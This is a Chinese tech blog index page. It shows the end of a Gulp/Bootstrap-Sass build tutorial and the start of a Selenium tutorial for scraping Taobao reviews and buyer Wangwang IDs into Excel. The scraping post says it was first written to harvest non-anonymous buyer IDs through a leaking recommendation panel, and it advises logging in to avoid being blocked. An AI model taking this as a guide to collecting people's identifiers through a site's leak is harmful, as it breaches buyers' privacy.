                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">&lt;!-- build:js js/combined.js --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"javascripts/bootstrap.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"javascripts/bootstrap-sprockets.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- endbuild --&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在此处是将两个文件处理合并为 combined.js 执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp html</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>后，会新生成一个 HTML 文件到 dist 目录，内容为</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span> <span class="attr">lang</span>=<span class="string">"en"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">"UTF-8"</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Welcome<span class="tag">&lt;/<span class="name">title</span>&gt;</span><span class="comment">&lt;!-- bower:css --&gt;</span><span class="comment">&lt;!-- endbower --&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"stylesheet"</span> <span class="attr">href</span>=<span class="string">"css/combined.css"</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span><span class="tag">&lt;<span class="name">h4</span>&gt;</span>Hello This is a Gulp Sass Demo Configured by Germey.<span class="tag">&lt;/<span class="name">h4</span>&gt;</span><span class="tag">&lt;/<span class="name">body</span>&gt;</span><span class="comment">&lt;!-- bower:js --&gt;</span><span class="comment">&lt;!-- endbower --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"js/combined.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>dist 的目录结构为</p>
                  <figure class="highlight gherkin">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">|<span class="string">____css</span></span><br><span class="line">|<span class="string"> </span>|<span class="string">____combined.css</span></span><br><span class="line">|<span class="string">____index.html</span></span><br><span class="line">|____js</span><br><span class="line">|<span class="string"> </span>|<span class="string">____combined.js</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>以上为利用 useref 插件进行 HTML 处理的过程。</p>
                  <h3 id="图片压缩处理"><a href="#图片压缩处理" class="headerlink" title="图片压缩处理"></a>图片压缩处理</h3>
                  <p>接下来是对图片字体及其他格式文件的处理。 图片的主要处理是进行压缩</p>
                  <figure class="highlight typescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">const</span> images = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'assets/images/**/*'</span>,</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist/images'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'images'</span>, <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(images.in)</span><br><span class="line">        .pipe($.imagemin(&#123;</span><br><span class="line">            progressive: <span class="literal">true</span>,</span><br><span class="line">            interlaced: <span class="literal">true</span>,</span><br><span class="line">            svgoPlugins: [&#123;cleanupIDs: <span class="literal">false</span>&#125;]</span><br><span class="line">        &#125;))</span><br><span class="line">        .pipe(gulp.dest(images.out));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>定义好了 images 的输入和输出路径之后，定义 images 这个 task，在这里使用了 imagemin 这个插件 imagemin 插件是用来压缩图片的插件，处理后图片的占用空间会变小。 执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp images</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>即可完成对图片的压缩</p>
                  <h3 id="字体处理"><a href="#字体处理" class="headerlink" title="字体处理"></a>字体处理</h3>
                  <p>字体的处理，筛选出某些特定格式的字体，输出到指定目录</p>
                  <figure class="highlight php">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">const</span> fonts = &#123;</span><br><span class="line">    <span class="string">'in'</span>: [<span class="string">'assets/fonts/bootstrap/*'</span>],</span><br><span class="line">    <span class="string">'tmp'</span>: <span class="string">'.tmp/fonts'</span>,</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist/fonts'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'fonts'</span>, () =&gt; &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(<span class="keyword">require</span>(<span class="string">'main-bower-files'</span>)(<span class="string">'**/*.&#123;eot,svg,ttf,woff,woff2&#125;'</span>, <span class="function"><span class="keyword">function</span><span class="params">(err)</span> </span>&#123;</span><br><span class="line">    &#125;)</span><br><span class="line">        .concat(fonts.in))</span><br><span class="line">        .pipe(gulp.dest(fonts.tmp))</span><br><span class="line">        .pipe(gulp.dest(fonts.out));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp fonts</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>即可完成字体的处理</p>
                  <h3 id="额外文件处理"><a href="#额外文件处理" class="headerlink" title="额外文件处理"></a>额外文件处理</h3>
                  <p>在项目中还存在非 HTML 的文件，比如 视频，音频，PHP等。这些做一下统一判断然后归档即可。</p>
                  <figure class="highlight coffeescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">const extras = &#123;</span><br><span class="line">    <span class="string">'in'</span>: [</span><br><span class="line">        <span class="string">'assets/*.*'</span>,</span><br><span class="line">        <span class="string">'!assets/*.html'</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'extras'</span>, <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(extras.<span class="keyword">in</span>, &#123;</span><br><span class="line">        dot: <span class="literal">true</span></span><br><span class="line">    &#125;).pipe(gulp.dest(extras.out));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>其中 in 指定了在 asset 目录中除 html 后缀的文件，此处进行读入筛选，然后输出到指定路径即可。 执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp extras</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>即可完成额外文件的处理</p>
                  <h3 id="文件依赖处理"><a href="#文件依赖处理" class="headerlink" title="文件依赖处理"></a>文件依赖处理</h3>
                  <p>设想一个情景，一个项目需要很多很多依赖库，我们在 bower.json 中定义好了所有的依赖，使用 bower 将他们下载了下来，如果我们需要在 HTML 中引用他们，如果我们还是手动地添加一个个引用那是不是太麻烦了？ 没错，这个操作同样可以自动化操作，借助 wiredep 插件即可。</p>
                  <figure class="highlight typescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">const</span> wire = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'assets/*.html'</span>,</span><br><span class="line">    <span class="string">'out'</span>: <span class="string">'dist'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'wiredep'</span>, <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    gulp.src(wire.in)</span><br><span class="line">        .pipe(wiredep(&#123;</span><br><span class="line">            ignorePath: <span class="regexp">/^(\.\.\/)*\.\./</span></span><br><span class="line">        &#125;))</span><br><span class="line">        .pipe($.useref(&#123;searchPath: [<span class="string">'.tmp'</span>, <span class="string">'assets'</span>, <span class="string">'.'</span>]&#125;))</span><br><span class="line">        .pipe($.<span class="keyword">if</span>(<span class="string">'*.js'</span>, $.uglify()))</span><br><span class="line">        .pipe($.<span class="keyword">if</span>(<span class="string">'*.css'</span>, $.cssnano()))</span><br><span class="line">        .pipe(gulp.dest(wire.out));</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在这里使用了 wiredep 插件。 在 HTML中定义如下内容</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">&lt;!-- bower:js --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- endbower --&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行</p>
                  <figure class="highlight ebnf">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">gulp wiredep</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>之后，便会自动更新 bower.json 中所有依赖库的引用，在这里以 JS 为例子。 当前在 bower.json 中定义了</p>
                  <figure class="highlight 1c">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="string">"dependencies"</span>: &#123;</span><br><span class="line">    <span class="string">"jquery"</span>: <span class="string">"&gt;= 1.9.0"</span></span><br><span class="line">  &#125;</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>执行完毕之后，HTML中便有了</p>
                  <figure class="highlight xml">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="comment">&lt;!-- bower:js --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">"/bower_components/jquery/dist/jquery.js"</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- endbower --&gt;</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>路径会随之更新。</p>
                  <h3 id="服务器"><a href="#服务器" class="headerlink" title="服务器"></a>服务器</h3>
                  <p>最后是一个 serve 的 task 在本地搭建一个服务器来测试，同时监听文件的变动随时更新资源文件。</p>
                  <figure class="highlight pgsql">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">const serve = &#123;</span><br><span class="line">    <span class="string">'baseDir'</span>: [<span class="string">'.tmp'</span>, <span class="string">'assets'</span>],</span><br><span class="line">    <span class="string">'baseDirDist'</span>: [<span class="string">'dist'</span>],</span><br><span class="line">    <span class="string">'routes'</span>: &#123;</span><br><span class="line">        <span class="string">'/bower_components'</span>: <span class="string">'bower_components'</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">'port'</span>: <span class="number">9000</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'serve'</span>, [<span class="string">'styles'</span>, <span class="string">'scripts'</span>, <span class="string">'fonts'</span>, <span class="string">'wiredep'</span>], () =&gt; &#123;</span><br><span class="line">    browserSync(&#123;</span><br><span class="line">        <span class="keyword">notify</span>: <span class="keyword">false</span>,</span><br><span class="line">        port: serve.port,</span><br><span class="line">        <span class="keyword">server</span>: &#123;</span><br><span class="line">            baseDir: serve.baseDir,</span><br><span class="line">            routes: serve.routes</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">    gulp.watch([</span><br><span class="line">        html.<span class="keyword">out</span>, scripts.tmp, scripts.<span class="keyword">out</span>, images.<span class="keyword">out</span>, fonts.tmp, fonts.<span class="keyword">out</span></span><br><span class="line">    ]).<span class="keyword">on</span>(<span class="string">'change'</span>, reload);</span><br><span class="line">    gulp.watch(styles.<span class="keyword">in</span>, [<span class="string">'styles'</span>]);</span><br><span class="line">    gulp.watch(scripts.<span class="keyword">in</span>, [<span class="string">'scripts'</span>]);</span><br><span class="line">    gulp.watch(fonts.<span class="keyword">in</span>, [<span class="string">'fonts'</span>]);</span><br><span class="line">    gulp.watch(<span class="string">'bower.json'</span>, [<span class="string">'wiredep'</span>, <span class="string">'fonts'</span>]);</span><br><span class="line">&#125;);</span><br><span class="line">gulp.task(<span class="string">'serve:dist'</span>, () =&gt; &#123;</span><br><span class="line">    browserSync(&#123;</span><br><span class="line">        <span class="keyword">notify</span>: <span class="keyword">false</span>,</span><br><span class="line">        port: serve.port,</span><br><span class="line">        <span class="keyword">server</span>: &#123;</span><br><span class="line">            baseDir: serve.baseDirDist</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>上述 serve 首先要执行 styles, scripts, fonts, wiredep 的操作，然后在 9000 端口上运行。 同时利用 watch 方法监听文件的变动，随时更新。</p>
                  <h3 id="删除和一键构建"><a href="#删除和一键构建" class="headerlink" title="删除和一键构建"></a>删除和一键构建</h3>
                  <p>最后还有清理构建文件和一键构建的功能。 清理 task 叫做 clean。</p>
                  <figure class="highlight gradle">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">gulp.<span class="keyword">task</span>(<span class="string">'clean'</span>, del.bind(<span class="keyword">null</span>, [<span class="string">'.tmp'</span>, <span class="string">'dist'</span>]));</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>即将 .tmp 和 dist 目录进行清理。 一键构建就是执行其他所有操作，将所有操作汇总。</p>
                  <figure class="highlight coffeescript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">const build = &#123;</span><br><span class="line">    <span class="string">'in'</span>: <span class="string">'dist/**/*'</span></span><br><span class="line">&#125;;</span><br><span class="line">gulp.task(<span class="string">'build'</span>, [<span class="string">'lint'</span>, <span class="string">'html'</span>, <span class="string">'images'</span>, <span class="string">'fonts'</span>, <span class="string">'extras'</span>], <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> gulp.src(build.<span class="keyword">in</span>).pipe($.size(&#123;title: <span class="string">'build'</span>, gzip: <span class="literal">true</span>&#125;));</span><br><span class="line">&#125;);</span><br><span class="line">gulp.task(<span class="string">'default'</span>, [<span class="string">'clean'</span>], <span class="function"><span class="params">()</span> =&gt;</span> &#123;</span><br><span class="line">    gulp.start(<span class="string">'build'</span>);</span><br><span class="line">&#125;);</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>最后执行了一个总的压缩汇总，</p>
                  <h2 id="代码"><a href="#代码" class="headerlink" title="代码"></a>代码</h2>
                  <p>以上便是利用 Gulp 编译 Bootstrap-Sass 的全部过程。 整个项目的代码如下 <a href="https://github.com/Germey/GulpBootStrapSass" target="_blank" rel="noopener">GulpBootstrapSass</a> 如果有问题，欢迎留言交流，希望对大家有帮助！</p>
                  </p>
                </div>
              </div>
              <div class="post-meta">
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-user"></i>
                  </span>
                  <span class="post-meta-item-text">作者</span>
                  <span><a href="/authors/崔庆才" class="author" itemprop="url" rel="index">崔庆才</a></span>
                </span>
                <span class="post-meta-item">
                  <span class="post-meta-item-icon">
                    <i class="far fa-calendar"></i>
                  </span>
                  <span class="post-meta-item-text">发表于</span>
                  <time title="创建时间：2016-07-04 00:23:02" itemprop="dateCreated datePublished" datetime="2016-07-04T00:23:02+08:00">2016-07-04</time>
                </span>
                <span id="/2906.html" class="post-meta-item leancloud_visitors" data-flag-title="基于ES6利用Gulp编译BootStrap-Sass源码" title="阅读次数">
                  <span class="post-meta-item-icon">
                    <i class="fa fa-eye"></i>
                  </span>
                  <span class="post-meta-item-text">阅读次数：</span>
                  <span class="leancloud-visitors-count"></span>
                </span>
                <span class="post-meta-item" title="本文字数">
                  <span class="post-meta-item-icon">
                    <i class="far fa-file-word"></i>
                  </span>
                  <span class="post-meta-item-text">本文字数：</span>
                  <span>12k</span>
                </span>
                <span class="post-meta-item" title="阅读时长">
                  <span class="post-meta-item-icon">
                    <i class="far fa-clock"></i>
                  </span>
                  <span class="post-meta-item-text">阅读时长 &asymp;</span>
                  <span>11 分钟</span>
                </span>
              </div>
            </article>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/2852.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/2852.html" class="post-title-link" itemprop="url">Python爬虫实战八之利用Selenium抓取淘宝匿名旺旺</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <h2 id="更新"><a href="#更新" class="headerlink" title="更新"></a>更新</h2>
                  <p>其实本文的初衷是为了获取淘宝的非匿名旺旺，在淘宝详情页的最下方有相关评论，含有非匿名旺旺号，快一年了淘宝都没有修复这个。 可就在今天，淘宝把所有的账号设置成了匿名显示，SO，获取非匿名旺旺号已经不可能了。那本节就带大家抓取匿名旺旺号熟悉一下Selenium吧。</p>
                  <p>2016/7/1</p>
                  <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2>
                  <p>嗯，淘宝，它一直是个难搞的家伙。 而且买家在买宝贝的时候大多数都是匿名评论的，大家都知道非匿名评论是非常有用的，比如对于大数据分析，分析某个宝贝的购买用户星级状况等等。 现在已经不能获取非匿名了，此句已没有意义了。 对于抓淘宝，相信尝试过的童鞋都能体会到抓取它到艰辛，最简单的方法莫过于模拟浏览器了，本节我们就讲解一下利用 Selenium 抓取淘宝评论的方法。 项目提供了如下功能：</p>
                  <ul>
                    <li>输入淘宝关键字采集淘宝链接并写入到文件</li>
                    <li>从文件读取链接，执行评论采集</li>
                    <li>将评论和旺旺号保存到Excel中</li>
                    <li>记录当前采集链接索引，保存进度</li>
                  </ul>
                  <h2 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h2>
                  <p>在开始本节之前 你需要了解一些基础知识，我们需要用到 Selenium 这个东西，详情请看 <a href="http://cuiqingcai.com/2599.html">Selenium用法</a> 我们首先讲解一下你需要做怎样的配置。 首先你需要安装 Python，版本是2.7 然后需要安装的 Python 类库。</p>
                  <figure class="highlight armasm">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="symbol">pip</span> install pyquery <span class="keyword">selenium </span>twisted requests xlrd xlwt xlutils</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>安装浏览器 Chrome，安装浏览器 Chrome，安装浏览器Chrome。 然后下载ChromeDriver，ChromeDriver是驱动浏览器的工具，需要把它配置到环境变量里。 有的童鞋说，为什么不用 PhantomJS，因为为了防止淘宝禁掉我们，需要登录淘宝账号，登录过程可能会出现奇奇怪怪得验证码，滚动条，手机验证，如果用 PhantomJS 的话不方便操作，所以在这里我们就使用 Chrome 了。 <a href="http://chromedriver.storage.googleapis.com/index.html?path=2.7/" target="_blank" rel="noopener">ChromeDriver</a> 上面是 ChromeDriver 的下载地址，谷歌都上得了，这个不在话下吧，这是最官方的版本，其他链接请自行搜索。 找到对应平台的 ChromeDriver，解压后将可执行文件配置到环境变量里，配置到环境变量里，配置到环境变量里！重要的话说三遍。</p>
                  <h2 id="流程简述"><a href="#流程简述" class="headerlink" title="流程简述"></a>流程简述</h2>
                  <p>首先我们拿一个例子来演示一下全过程。 随意打开天猫一个链接 <a href="https://world.tmall.com/item/45262540681.htm?spm=a220m.1000858.1000725.110.r7oyq2&amp;id=45262540681&amp;skuId=85225485607&amp;areaId=320700&amp;cat_id=50025145&amp;rn=6f644caecfa85abefea71e2dc48ac6ae&amp;user_id=2148264599&amp;is_b=1" target="_blank" rel="noopener">示例链接</a> 我们首先观察一下评论，可以发现所有的评论都是匿名的。即使这个用户不是匿名评论的，那也会显示匿名，淘宝这保密做的挺好。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-1@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-1@2x-825x1024.png" alt="QQ20160630-1@2x"></a> 心机的淘宝啊，那我们如果想获取一些旺旺号该咋办？ 接下来我们返回宝贝详情页面，然后一直下拉下拉，拉到最最后，可以看到有个“看了又看”板块。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-0@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-0@2x-765x1024.png" alt="QQ20160630-0@2x"></a> 有没有！！发现了新大陆，这是什么？这是此宝贝相关宝贝以及它的一些评论。 看到了有非匿名用户了，哈哈哈，淘宝加密了评论，推荐部分却没有加密。 嗯，就从这里，我们把它们的旺旺号都抓下来，顺便把评论和购买的宝贝抓下来。 现在已经全部改成了匿名，上述话已经无意义了。 那么抓取完之后，保存到哪里呢？为了便于管理和统计，在这里保存到 Excel 中，那么就需要用到 xlrd, xlwt, xlutils 等库。 嗯，动机就是这样。</p>
                  <h2 id="实战爬取"><a href="#实战爬取" class="headerlink" title="实战爬取"></a>实战爬取</h2>
                  <h3 id="抓取过程"><a href="#抓取过程" class="headerlink" title="抓取过程"></a>抓取过程</h3>
                  <p>首先我们观察这个链接，在最初的时候，其实网页并没有加载最下方的“看了又看”内容的，慢慢往下滑动网页，滑到最下方之后，才发现看了又看页面才慢慢加载出来。 很明显，这个地方使用了Ajax，由于我们用的是 Selenium，所以这里我们不能直接来模拟 Ajax 的 Request，需要我们来模拟真实的用户操作。 所以我们要模拟的就是，在网页部分加载出来之后，模拟浏览器滑动到下方，使“看了又看”内容显示出来，然后获取网页源代码，解析之即可。 那么在这里就出现了两个至关重要的点，一个是判断网页框架大体加载出来，另一个是模拟滑动直到最下方的内容加载出来。 首先，我们解决第一个问题，怎样判断网页框架大体加载出来。我们可以用网页中的某个元素的出现与否来判断。 比如 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-2@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-2@2x-1024x254.png" alt="QQ20160630-2@2x"></a> 这一部分是否加载出来。 审查一下代码，ID叫做 J_TabBarBox，好，那就用它来作为网页初步加载成功的标志。 在 Selenium 中，我们用显式等待的方法来判断该元素是否已经加载成功。</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    driver.get(url)</span><br><span class="line">    WebDriverWait(driver, timeout).until(</span><br><span class="line">        EC.presence_of_element_located((By.ID, <span class="string">"J_TabBarBox"</span>))</span><br><span class="line">    )</span><br><span class="line"><span class="keyword">except</span> TimeoutException:</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"><span class="keyword">if</span> is_recommends_appear(driver, max_scroll_time):</span><br><span class="line">    <span class="keyword">print</span> <span class="string">u'已经成功加载出下方橱窗推荐宝贝信息'</span></span><br><span class="line">    <span class="keyword">return</span> driver.page_source</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>接下来我们需要模拟下拉浏览器，不妨直接下拉到底部，再从底部向上拉，可能需要下拉多次，所以在这里定义了一个下拉次数，那么判断“看了又看”正文内容是否出现依然可以用显式等待的方法。 浏览器审查元素发现它的选择器是 #J_TjWaterfall li <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-3@2x.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/06/QQ20160630-3@2x-1024x771.png" alt="QQ20160630-3@2x"></a> 那么可以用如下方法来判断是否加载成功</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">try</span>:</span><br><span class="line">    driver.find_element_by_css_selector(<span class="string">'#J_TjWaterfall li'</span>)</span><br><span class="line"><span class="keyword">except</span> NoSuchElementException:</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"><span class="keyword">return</span> <span class="literal">True</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>下拉过程可以用执行 JavaScript 的方法实现。</p>
                  <figure class="highlight sqf">
                    <table>
                      <tr>
